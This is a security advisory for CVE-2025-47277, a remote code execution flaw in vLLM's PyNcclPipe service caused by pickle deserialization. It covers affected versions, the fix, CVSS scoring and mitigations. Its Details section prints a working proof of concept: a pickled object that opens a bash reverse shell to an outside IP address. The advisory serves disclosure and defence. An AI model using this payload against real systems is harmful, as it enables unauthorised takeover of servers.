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GHSA-hjq4-87xh-g4fv CVE-2025-47277 PYSEC-2026-567

vLLM Allows Remote Code Execution via PyNcclPipe Communication Service

Critical PyPI
Severity
9.8 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.96%
Chance of exploitation in the next 30 days. Higher than 61.69% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-502 Deserialization of Untrusted Data
Fix
0.8.5
Upgrade vllm to this version or later

Description

Impacted Environments

This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.

Summary

vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send_obj and recv_obj methods on the CPU side.​

A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.

The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html

Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.

This issue was reported privately to PyTorch and they determined that this behavior was intentional.

Details

The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.

  1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched:
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig

config=KVTransferConfig(
    kv_ip="0.0.0.0",
    kv_port=18888,
    kv_rank=0,
    kv_parallel_size=1,
    kv_buffer_size=1024,
    kv_buffer_device="cpu"
)

p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() # Receive data
  1. The attacker crafts malicious packets and sends them to the PyNcclPipe service:
from vllm.distributed.utils import StatelessProcessGroup

class Evil:
    def __reduce__(self):
        import os
        cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"'
        return (os.system,(cmd,))

client = StatelessProcessGroup.create(
    host='172.17.0.1',
    port=18888,
    rank=1,
    world_size=2,
)

client.send_obj(obj=Evil(),dst=0)

The call stack triggering ​RCE is as follows:

vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl
	-> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata
		-> vllm.distributed.utils.StatelessProcessGroup.recv_obj
			-> pickle.loads 

Getshell as follows:

image

Reporters

This issue was reported independently by three different parties:

  • @kikayli (Zhuque Lab, Tencent)
  • @omjeki
  • Russell Bryant (@russellb)

Fix

Affected versions

PyPI

PackageVulnerableFixed in
vllm
>= 0.6.5, < 0.8.5
0.8.5

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vllm PyPI → 0.8.5

pip
pip install --upgrade "vllm>=0.8.5"
poetry
poetry add "vllm>=0.8.5"
uv
uv add "vllm>=0.8.5"

Severity breakdown

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-502: Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

How to prevent it
  • Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
  • Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
  • Implementation: Explicitly define a final object() to prevent deserialization.
  • Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
  • Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
  • Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8397-8qf6-f2gm
vLLM: Phi-4 multimodal audio encoder materializes and retains full attention matrices: a single max-length audio OOM-crashes the vLLM engine
Medium Also affects vllm
GHSA-x567-49g5-p4cf
vLLM: Responses API bypasses trust_request_chat_template for chat_template_kwargs
Medium Also affects vllm
GHSA-vvpg-rrww-wpmh
vLLM: Permissive default CORS origins allow cross-origin requests to the vLLM HTTP server
Medium Also affects vllm
GHSA-q97c-p368-75c4
vLLM: Out-of-vocabulary prompt token id passes input validation and triggers a CUDA device-side assert (engine crash / DoS)
Medium Also affects vllm
GHSA-h3rc-j82p-2c3h
vLLM: Untrusted EPS inputs can trigger denial of service or Ghostscript RCE
High Also affects vllm
GHSA-gq5q-89c7-vhvx
vLLM DeepSeek-OCR image processing vulnerable to denial of service
Medium Also affects vllm
GHSA-6757-hggm-hp2w
vLLM: Public multimodal SHM handle forgery reaches worker-side `pickle.loads()` with insecure serialization disabled
High Also affects vllm
GHSA-542m-9234-8gvf
vLLM: DoS via unbounded chat_template Jinja2 rendering exhausts the renderer thread pool
Medium Also affects vllm
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